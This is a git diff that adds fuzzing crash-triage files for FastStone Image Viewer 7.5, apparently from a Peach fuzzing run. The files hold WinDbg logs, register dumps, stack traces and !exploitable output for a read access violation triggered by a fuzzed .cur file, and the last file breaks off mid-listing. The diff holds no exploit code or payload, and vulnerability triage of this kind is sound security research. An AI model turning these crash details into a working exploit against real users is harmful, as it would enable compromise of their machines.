+ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1998.224): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e97b10 edx=00003879 esi=12738f10 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-2.71796e+013 -1.20234e+030 6.88011e+028 4.47185e+017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025b000 9feb2a47 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/59948/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1b42194 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B68: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B68: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b68.1970): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ef7b10 edx=00003879 esi=12738f10 edi=07d20fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.7008e-037 1.26237e-037 -4.11518e+022 3.4654e+036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025b000 47119f6a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b4 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1b42194 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/60852/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1B68: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1B68: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74beb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 